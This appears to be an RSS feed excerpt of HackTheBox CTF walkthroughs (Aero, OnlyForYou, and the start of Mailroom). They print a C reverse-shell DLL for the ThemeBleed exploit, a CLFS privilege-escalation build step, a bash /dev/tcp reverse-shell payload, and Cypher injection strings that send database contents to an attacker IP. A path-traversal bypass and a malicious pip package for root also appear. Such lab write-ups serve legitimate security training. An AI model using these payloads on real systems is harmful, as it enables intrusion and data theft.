ptr-&gt;ai_socktype, ptr-&gt;ai_protocol, NULL, NULL, NULL);<br> connect(ConnectSocket, ptr-&gt;ai_addr, (int)ptr-&gt;ai_addrlen);<br> STARTUPINFO si;<br> PROCESS_INFORMATION pi;<br> ZeroMemory(&amp;si, sizeof(si));<br> si.cb = sizeof(si);<br> ZeroMemory(&amp;pi, sizeof(pi));<br> si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;<br> si.wShowWindow = SW_HIDE;<br> si.hStdInput = (HANDLE)ConnectSocket;<br> si.hStdOutput = (HANDLE)ConnectSocket;<br> si.hStdError = (HANDLE)ConnectSocket;<br> TCHAR cmd[] = TEXT(&quot;C:\\WINDOWS\\SYSTEM32\\CMD.EXE&quot;);<br> CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &amp;si, &amp;pi);<br> WaitForSingleObject(pi.hProcess, INFINITE);<br> CloseHandle(pi.hProcess);<br> CloseHandle(pi.hThread);<br> WSACleanup();<br>}<br><br>int VerifyThemeVersion(void)<br>{<br> rev_shell();<br> return 0;<br>}</pre><p>When we execute the above code, it initiates a reverse shell connection back to our server on port 1234, enabling remote control and the execution of commands on the target system. We should now set the solution configuration to “<strong>Release (x64)</strong>” and build the solution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*vDGgfnqewdxdTVcUGalPBA.jpeg" /></figure><p>According to <strong>Gabe Kirkpatrick’s</strong> GitHub repository, we should copy the compiled DLL payload into the <strong>ThemeBleed</strong> repository under the “<strong>data/stage3</strong>” directory.</p><pre>PS&gt; copy  I:\Aero\ThemeBleeed\x64\Release\ThemeBleeed.dll .\stage_3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*e95L9X8t7derpjszr-VALg.jpeg" /><figcaption>Overwrite the ‘stage_3’ file with the new DLL</figcaption></figure><p>Generate a <strong>.theme</strong> file using ThemeBleed.exe.</p><p>when we start the ThemeBleed server, it fails:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*o-K2b3W0Dn-XTJCGC-FI0A.jpeg" /></figure><pre>.\ThemeBleed.exe make_theme 10.10.14.150 aero.theme</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*-2hlO8Tr9N7FesOFO9jVQA.jpeg" /><figcaption>start the server</figcaption></figure><p>The issue is that Windows is already listening on SMB by default. so we must stop the “<strong>Server”</strong> service in the Windows Services panel:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*9EJkcDCHNzP25SKnxrrdAw.jpeg" /><figcaption>stopping the service</figcaption></figure><p>When we start the server, it fails again. To resolve the problem, we should <strong>disable</strong> the “<strong>Server”</strong> service and <strong>reboot</strong> our machine.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*mSfFYl2M9wP6281js2dU1g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*btzYWF1QY9MtcxpWTARs5A.jpeg" /></figure><p>Following the reboot, I can successfully run the exploit in Server mode:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*8E8hlpn79zwya4N3IRQpxg.jpeg" /><figcaption>start the ThemBleed server</figcaption></figure><p>Now, start “<strong>nc -lnvp 1234”</strong> on our local machine, then upload the malicious ‘<strong>aero.theme</strong>’ package that we created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*4OpLx8edOekoNyf2CsY2Sg.jpeg" /></figure><pre>C:\Users\Administrator\Desktop\ThemeBleed&gt;.\ThemeBleed.exe server<br>Server started<br>Client requested stage 1 - Version check<br>Client requested stage 1 - Version check<br>Client requested stage 1 - Version check<br>Client requested stage 1 - Version check<br>Client requested stage 1 - Version check<br>Client requested stage 1 - Version check<br>Client requested stage 1 - Version check<br>Client requested stage 1 - Version check<br>Client requested stage 2 - Verify signature<br>Client requested stage 1 - Version check<br>Client requested stage 2 - Verify signature<br>Client requested stage 1 - Version check<br>Client requested stage 2 - Verify signature<br>Client requested stage 1 - Version check<br>Client requested stage 1 - Version check<br>Client requested stage 2 - Verify signature<br>Client requested stage 2 - Verify signature<br>Client requested stage 2 - Verify signature<br>Client requested stage 2 - Verify signature<br>Client requested stage 2 - Verify signature<br>Client requested stage 2 - Verify signature<br>Client requested stage 2 - Verify signature<br>Client requested stage 2 - Verify signature<br>Client requested stage 3 - LoadLibrary</pre><p>There are connections to the <strong>ThemeBleed</strong> server. when the client requests stage 3 to “<strong>loadlibrary</strong>”, We obtain a shell as “<strong>sam.emerson”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*Cz9yktfdf6pzRSg_cpfybw.jpeg" /><figcaption>user flag</figcaption></figure><p>When we enumerate the target machine, there are two files in ‘<strong>sam.emerson</strong>’s Documents directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*iR-2wTP3ylhjNywMg2u5AQ.jpeg" /><figcaption>systeminfo</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*8LBNPFoBm1x27LIiWrqvRg.jpeg" /><figcaption>net users</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*FAKigY-fag8Pod_iHC5YjA.jpeg" /><figcaption>priv</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*cxRAlNqDZgA1eqeniETjfg.jpeg" /><figcaption>enumerate</figcaption></figure><p>let’s see <strong>watchdog.ps1</strong></p><p>It is designed to monitor a specified directory for the creation of new theme files with “<strong>.theme</strong>” and “<strong>.themepack</strong>” extensions and perform actions when such files are created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*VVglF95DqsmD3FwScL-Xbg.jpeg" /><figcaption>whatchdog.ps1</figcaption></figure><p>let’s exfiltrate <strong>CVE-2023–28252_Summary.pdf </strong>using powershell and converts it into a Base64-encoded string:</p><pre>PS C:\Users\sam.emerson\Documents&gt; [convert]::ToBase64String((Get-Content -path &quot;CVE-2023-28252_Summary.pdf&quot; -Encoding byte))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZnZh6Mz-eLJl6oW1gelpCw.jpeg" /><figcaption>exfiltrate</figcaption></figure><p>decode it:</p><pre>PS:/&gt; [System.IO.File]::WriteAllBytes(&quot;C:\Users\..\Desktop\CVE-2023-28252_Summary.pdf&quot; , [System.Convert]::FromBase64String(&quot;Base64 encoded string&quot;))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uHUq3h5n8R44WlWjMNZV3g.jpeg" /><figcaption>decode</figcaption></figure><p>When we open the pdf, it has information about <strong>CVE-2023–28252.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*8Q7rA7O8vbofMEqVZd8YzQ.jpeg" /></figure><h3><strong>Privilege Escalation (CVE-2023-2825</strong>2)</h3><p>Let’s use <a href="https://github.com/fortra/CVE-2023-28252">Fortra repository</a> to exploit this CVE. We should edit the code to exploit <strong>Common Log File System</strong>. First, Open it in Visual Studio and modify the last part of the code. By default, the code executes ‘<strong>notepad.exe</strong>’. To obtain a reverse shell, replace ‘notepad.exe’ with the base64 payload from <strong>PowerShell#3 (base64)</strong> on the <a href="https://www.revshells.com/">RevShells</a> website. Next, set the solution configuration to ‘<strong>Release (x64)</strong>’ and build the solution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jDa573Q7qsDscAEnhp_uVA.jpeg" /><figcaption>default exploit code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wepw77_evQ_pk14NHAhHAg.jpeg" /><figcaption>PowerShell payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N3XkcCMfaHqtk2OKD0lb3g.jpeg" /><figcaption>edited exploit code</figcaption></figure><blockquote>When I build the solution, I encountered many errors. To address this issue, right-click on ‘<strong>clfs_eop</strong>’ in the Solution Explorer, go to Properties -&gt; Configuration Properties -&gt; Advanced, and set the Character Set from ‘<strong>Not Set</strong>’ to ‘<strong>Use Multi-Byte Character Set</strong>’.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oaoLA3-muSulJuCfHH1osg.jpeg" /><figcaption>build the solution</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*WjYBC8c8duwevYALC0VvAQ.jpeg" /><figcaption>to fix errors</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*BTJwNTOhw8Ah1PeTD4CW4w.jpeg" /><figcaption>to fix errors</figcaption></figure><p>Now, Re-build the solution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rVuIFR4MUnxuL8TkPTdTtw.jpeg" /><figcaption>build the solution</figcaption></figure><p>It’s time to upload the compiled executable to the target. Let’s start a Python webserver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*Kg5hd87XsMWoekNnL6o99w.jpeg" /><figcaption>python webserver</figcaption></figure><p>Then download and save the file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*gJ_SCwqglTnxWGs6zuzxnQ.jpeg" /><figcaption>download the clfs_eop.exe</figcaption></figure><p>Finally, start another <strong>nc</strong> listener and execute the program.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*TY-xTcMwsJM2QlRWzfeLMw.jpeg" /><figcaption>execute the program</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*pcXBXrHy_YPwgvTAJtZu2w.jpeg" /><figcaption>nc</figcaption></figure><p>Now, we have a shell as <strong>NT Authority\System</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*sHEy-_nfGyIGztAKm13-nw.jpeg" /><figcaption>root flag</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36e0379d5e68" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/aero-htb-windows-11-rce-privesc-themebleed-clfs-36e0379d5e68">Aero HTB | Windows 11 RCE &amp; PrivESC | Themebleed | CLFS</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OnlyForYou HTB | LFR | RCE | Cypher Injection (Neo4j) graph database | pip3 download code execution]]></title>
            <link>https://infosecwriteups.com/onlyforyou-htb-lfr-rce-cypher-injection-neo4j-graph-database-pip3-download-code-execution-7855193b3d5c?source=rss-fbd07e5e30d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/7855193b3d5c</guid>
            <category><![CDATA[neo4j-graph-database]]></category>
            <category><![CDATA[cypher]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[pip]]></category>
            <category><![CDATA[only4you]]></category>
            <dc:creator><![CDATA[Aydin Naserifard]]></dc:creator>
            <pubDate>Tue, 05 Sep 2023 21:15:27 GMT</pubDate>
            <atom:updated>2023-09-18T03:42:17.236Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t0mKqf4QgnhhHzgN3U3ojg.jpeg" /><figcaption>only4you — 09/05/2023</figcaption></figure><p>Here’s a summary of the key points of <strong>Only4you</strong> HTB machine:</p><p><strong>Difficulty Level</strong>: Medium!!!!!!!!</p><p><strong>Vulnerabilities</strong>:</p><ol><li><strong>LFR (Local File Read)</strong>: The presence of a Local File Read vulnerability suggests that an attacker can read files on the system, potentially accessing sensitive information.</li><li><strong>RCE (Remote Code Execution)</strong>: RCE vulnerability implies that an attacker can execute arbitrary code on the target system, which can lead to complete control of the system.</li><li><strong>Cypher Injection (Neo4j)</strong>: Cypher injection is a vulnerability in Neo4j’s query language that allows attackers to manipulate graph database queries, potentially gaining unauthorized access or exfiltrating data.</li><li><strong>Pip Download Code Execution</strong>: This vulnerability likely involves exploiting the Python package manager, Pip, to download and execute malicious code, potentially leading to further compromise of the system.</li></ol><p>let’s add<strong> only4you.htb </strong>to our hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*IqBDzFYePZENBs4rYEG86g.jpeg" /><figcaption>hosts</figcaption></figure><p><strong>Enumeration</strong></p><blockquote><strong>nmap -sCV -Pn -p- — min-rate=1000 10.10.11.210</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*GxM7BHuVWSQsH-iDvJfy6g.jpeg" /></figure><p>Two ports are open: 80,22. let’s browse port 80:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K3wpuRD7vL_2vDPmQMjEYQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GD9bwW3jpiIlrKAJS3ePDg.jpeg" /><figcaption>web technologies</figcaption></figure><p>let’s scan for additional subdomains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jqn45Z4tHmpfVOFTlvizCw.jpeg" /><figcaption>ffuf</figcaption></figure><p>We can use the <strong>`-fs`</strong> flag to filter out HTTP responses based on their size. Specifically, we’re filtering responses that have a size of 178 bytes to limit false positives. The <strong>`-mc`</strong> flag allows us to match specific HTTP status codes. By default, it matches status codes 200, 204, 301, 302, 307, 401, 403, 405, and 500.</p><p>Let’s add this subdomain to our hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*mW2usjyk-rAcCWcN0PmYPw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vUmJSoWuDAbZUg2eMCymvQ.jpeg" /></figure><p>At first glance, it seems that it has the vulnerability of uploading a malicious file, but it is not vulnerable.</p><p>we can download the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*g4e3RiEcD_yfHr21gf-cpA.jpeg" /></figure><p>As I mentioned, the app is not vulnerable to malicious file uploads.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*ge15X7kFPvIRrCR6XXkuOg.jpeg" /></figure><ul><li>The code restricts uploaded file types to .jpg and .png.</li><li>It uses secure_filename to mitigate directory traversal attacks.</li><li>Consider implementing file size validation to prevent large files from being uploaded.</li></ul><p>Look at the following code snippet:</p><pre>@app.route(&#39;/download&#39;, methods=[&#39;POST&#39;])<br>def download():<br>    image = request.form[&#39;image&#39;]<br>    filename = posixpath.normpath(image) <br>    if &#39;..&#39; in filename or filename.startswith(&#39;../&#39;):<br>        flash(&#39;Hacking detected!&#39;, &#39;danger&#39;)<br>        return redirect(&#39;/list&#39;)<br>    if not os.path.isabs(filename):<br>        filename = os.path.join(app.config[&#39;LIST_FOLDER&#39;], filename)<br>    try:<br>        if not os.path.isfile(filename):<br>            flash(&#39;Image doesn\&#39;t exist!&#39;, &#39;danger&#39;)<br>            return redirect(&#39;/list&#39;)<br>    except (TypeError, ValueError):<br>        raise BadRequest()<br>    return send_file(filename, as_attachment=True)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*qUzoj-h7R__ypzUnSctTKQ.jpeg" /></figure><p>There is a basic prevention measure against Local File Read (LFR) vulnerabilities in the app.py code. Specifically, the code checks whether the submitted filename starts with &quot;..&quot; or &quot;../&quot; and takes action to prevent directory traversal attacks. in the above code posixpath.normpath(image) is used to normalize the path to prevent any tricks or manipulations with slashes in the filename.if &#39;..&#39; in filename or filename.startswith(&#39;../&#39;) checks whether the filename contains &quot;..&quot; or starts with &quot;../.&quot; If it does, it flashes a warning message and redirects to the /list page, effectively preventing access to parent directories. This can be bypassed by starting the file name with / and reading any local files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*ITXd82WAYkhUDN-HQj7pyg.jpeg" /></figure><p>We can read the <strong>main configuration file</strong> for Nginx:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0NhJALHZHF7bTP90kjLyWg.jpeg" /></figure><p>We can read the <strong>server block configuration file</strong> used to define settings for a default virtual host in Nginx:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*qw9pXA2K46IbcnYeUM18XQ.jpeg" /></figure><p>let’s read the app.py:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*4_ZUGZZpvK1HNsmLCK8LqQ.jpeg" /></figure><p>It’s using <strong>sendmessage</strong> function from <strong>form.py.</strong></p><p>lets read form.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LIhTnNum2yR3-zRNI4WLzg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*30Y6cuHpckpUrl9tGNqbdA.jpeg" /></figure><p>It appears to have a potential <strong>command injection</strong> vulnerability in the issecure function, specifically in the following line:</p><pre>result = run([f&quot;dig txt {domain}&quot;], shell=True, stdout=PIPE)</pre><p>In this line, the domain variable is constructed from user-provided input (email) without proper validation or sanitation.</p><blockquote><strong>Note:</strong> To fix this vulnerability and prevent command injection, we should avoid constructing shell commands using user-provided input directly. Instead, consider using safer alternatives like Python’s subprocess module with the subprocess.run function to pass arguments as a list. Here&#39;s a safer way to execute the dig command:</blockquote><pre>result = run([&quot;dig&quot;, &quot;txt&quot;, domain], stdout=PIPE)</pre><p>back to the contact page and try to get a reverse shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z72VHH1B_s5qe_gZEVgRhg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*HEh98RlBvIcYwdMwG6U2eQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KazlXj1xLZfZ0N9U4J5BAw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*B9iI6n6fa2nSRml8RXBsHA.jpeg" /></figure><blockquote>our payload: <strong>bash -i &gt;&amp; /dev/tcp/10.10.14.74/4444 0&gt;&amp;1</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*ReUeZNZg_KxkPSG44S0NyQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*cZeHkGMfJsFysi_Xx8En4w.jpeg" /><figcaption>shell</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/883/1*GZss4nzI8tfeff5s5LcXoA.jpeg" /><figcaption>uname</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/345/1*2DvQLQacFqTT331mTisxtA.jpeg" /><figcaption>permission denied</figcaption></figure><blockquote>let’s use <strong>ss -tulwn</strong>. We are aiming to determine which ports are open and in a listening state for the purpose of <strong>port forwarding</strong>. check for open ports on the system, and we’ve identified that there are two services running on ports 8001, 3000.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*jxC18IpqQKoWn6OaPUYVUA.jpeg" /></figure><p>let’s do a port forward using <strong>chisel</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*SBkKQDPWh1HgkgpetG5aYg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iRUWnqL_H_mqdcY8-WgjaQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tPeSPmpoM1-FIBWrHrk1FA.jpeg" /></figure><p>With default credentials, admin:admin we can login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lkAK5AdM738A6YWym5JQuQ.jpeg" /></figure><p>As you can see, there is a task about migrating database to neo4j which is a <strong>graph</strong> database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eKK6Wj5FMsJBC9V8octElw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nuh_Y_-1qiUm4sLoonsuLw.jpeg" /></figure><h3>Cypher Injection (neo4j)</h3><blockquote><strong>Cypher</strong> is a query language specifically designed for querying <strong>graph</strong> databases, and it is primarily associated with <strong>Neo4j</strong>, a popular graph database system. Cypher allows you to interact with and retrieve data from a graph database by specifying patterns and relationships within the data graph. It is a declarative query language, meaning you describe what you want to retrieve, and the database engine figures out how to do it.</blockquote><p><a href="https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j">Cypher Injection (neo4j)</a></p><p>to get version, name and edition of neo4j database:</p><pre>&#39; OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM &#39;http://10.10.14.92/?version=&#39; + version + &#39;&amp;name=&#39; + name + &#39;&amp;edition=&#39; + edition as l RETURN 0 as _0 //</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Sp24exG5Z0Rugq3nGL85A.jpeg" /><figcaption>version</figcaption></figure><p>To list the labels from neo4j database:</p><pre>&#39; OR 1=1 WITH 1 as a CALL db.labels() YIELD label LOAD CSV FROM &#39;http://10.10.14.191:8000/?&#39;+label AS b RETURN b//</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PuAWQ3V54T4DMjIHZT9Z9A.jpeg" /></figure><p>This query will give us 2 labels or tables in response which is user and employee. Now we need to extract the property or the value from user label:</p><pre>&#39; OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM &#39;http://10.10.14.191:8000/?&#39; + p +&#39;=&#39;+toString(f[p]) as l RETURN 0 as _0 //</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b5qFF7_G1OF_uvmwC1faBA.jpeg" /></figure><p>these are <strong>sha-256</strong> hashes of <strong>john </strong>and <strong>admin</strong> users. let’s try to crack them using john:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*JIvAvRQStQxxNyJ2Y0ktKQ.jpeg" /></figure><p><strong>user flag</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*Y7a-1RosPti7X4CKvQ6kvw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*bxXLD9ZWRkmbWzxc5NPDVg.jpeg" /></figure><p><strong>Root Privilege Escalation:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*9HKN9xxh-C8q7G91OjZFAw.jpeg" /></figure><ul><li>john can run the pip3 command as the root user</li><li>The command itself downloads a package (*.tar.gz) from a URL (http://127.0.0.1:3000) using pip3. This command is allowed without password authentication.</li></ul><p>let’s do a port forward on port 3000 and browse web app:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sUOgp2X7q5Jz0wHiyo8-fQ.jpeg" /></figure><p>From Explore we see two users, admin and john, we can use john&#39;s creds to login:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BsmxKlubK3rdD7qecNAVtw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L75CrOuPopfU2bfIdii0Pg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aNXibBoIKDoovl8pbXmA-Q.jpeg" /></figure><h3>Pip Download Code Execution:</h3><p>Pip is a package management system written in Python. It can download custom Python package so we can create a malicious package to execute arbitrary code by following this article:</p><p><a href="https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/pip-download-code-execution/">Pip Download Code Execution | Exploit Notes</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*rbyoV2YHKbUlUT6MV3Ld8w.jpeg" /><figcaption><a href="https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/pip-download-code-execution/#1.-create-malicious-python-package">Create Malicious Python Package</a></figcaption></figure><p>to package the project, run the following command in the project root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*AaQpoRAOeCU4Lm1FfM9Qyg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*-tvnwzX2EM0XR6OKjpxcHg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kC12pZtPMp4-x6wmraiG0Q.jpeg" /></figure><p>It generates <strong>.tar.gz</strong> file in <strong>dist</strong> folder.</p><p>After building the pip package, upload it to the Test repo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*juJHiqO1d1EK3Q1MMleuSA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fa-FQ-0vZuwzoUR9hUmNCA.jpeg" /></figure><p>Go to the settings and make sure to make the repo public.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*vs9IFszhxwLmVcAnjREzgw.jpeg" /></figure><p>Now run the following pip3 command to download the pip package with sudo:</p><pre>sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/exploitpy-0.0.1.tar.gz</pre><p>Now we are root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*jA_lXTuFwTnM4D6ZqrKRCg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7855193b3d5c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/onlyforyou-htb-lfr-rce-cypher-injection-neo4j-graph-database-pip3-download-code-execution-7855193b3d5c">OnlyForYou HTB | LFR | RCE | Cypher Injection (Neo4j) graph database | pip3 download code execution</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mailroom HTB | Gitea | XSS | NoSqli | RCE | Exploit Development | Strace]]></title>
            <link>https://infosecwriteups.com/mailroom-htb-gitea-xss-nosqli-rce-exploit-development-strace-88152d53d850?source=rss-fbd07e5e30d7------2</link>
            <guid isPermaLink="false">https://medium.com/p/88152d53d850</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[mailroom]]></category>
            <category><![CDATA[gitea]]></category>
            <dc:creator><![CDATA[Aydin Naserifard]]></dc:creator>
            <pubDate>Sun, 20 Aug 2023 20:12:12 GMT</pubDate>
            <atom:updated>2023-08-28T07:23:04.360Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LO0wY4YWo4dq9hwOWGeg4w.jpeg" /><figcaption>21/08/2023</figcaption></figure><p>Mailroom is a challenging Linux machine that hosts a custom web app and a <strong>Gitea</strong> code repository. The web app has vulnerabilities to Cross-Site Scripting (XSS), which, when combined with Server-Side Request Forgery (SSRF) and NoSQL injection, allows credential extraction. An initial shell leads to a user’s mailbox containing a 2FA link, providing access to another protected subdomain. This subdomain’s app, running inside a Docker container, is prone to command injection. This breach offers credentials from its Git repository, giving access to another user on the host. There’s a recurring KeePass application execution, where observing its process can capture keystrokes. The KeePass database stores vital credentials that, once accessed, lead to root privileges</p><h4>Enumeration</h4><blockquote>nmap -sCV -Pn — min-rate=1000 10.10.11.209</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*BjiU_xSnJWSrGDucTYYK2Q.jpeg" /></figure><p>Two ports are open: 80,22. let’s browse port 80:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*dpsPxMcuk8Rak85XXzjCeg.jpeg" /></figure><p>navigate to /about.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*QQtWBhTEcVCrbhrGb8yPdw.jpeg" /></figure><p>navigate to /contact.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*bUZg6lJqxGZkwdlDCmHt9w.jpeg" /></figure><p>It seems that this page is vulnerable to XSS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IiQMbzkXCtYThSX0QmecAA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*jvaU57hOV_lpKU30MxZC5w.jpeg" /></figure><p>let’s make a connection to our server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*r18Ot9SSVXnplv-EzkzQ5w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*irlBP1qWQhHkJQ-4zOsbIA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XpIrIrYxFDdcRJwQaGLjxw.jpeg" /></figure><p>as you can see, we do get a connection back to our server.</p><p>let’s add <strong>mailroom.htb</strong> to our hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*giECOBI8Zn4VCFKfVFZSjA.jpeg" /></figure><p>let’s scan for additional subdomains:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wwMft62X5Lng3Q4p-wTyAQ.jpeg" /></figure><p>We can use the <strong>`-fs`</strong> flag to filter out HTTP responses based on their size. Specifically, we’re filtering responses that have a size of 7748 bytes to limit false positives. The <strong>`-mc`</strong> flag allows us to match specific HTTP status codes. By default, it matches status codes 200, 204, 301, 302, 307, 401, 403, 405, and 500.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cyQDY8DDt3iX4RoeARup2Q.jpeg" /></figure><p>Let’s add this subdomain to our hosts file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*eQ9WMzp1_nKPHm1cXB3ScA.jpeg" /></figure><p>Browsing to this subdomain we can see that the repository for staffroom is not password protected:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*UxE1KgtU_0IIKnW8jkXNHA.jpeg" 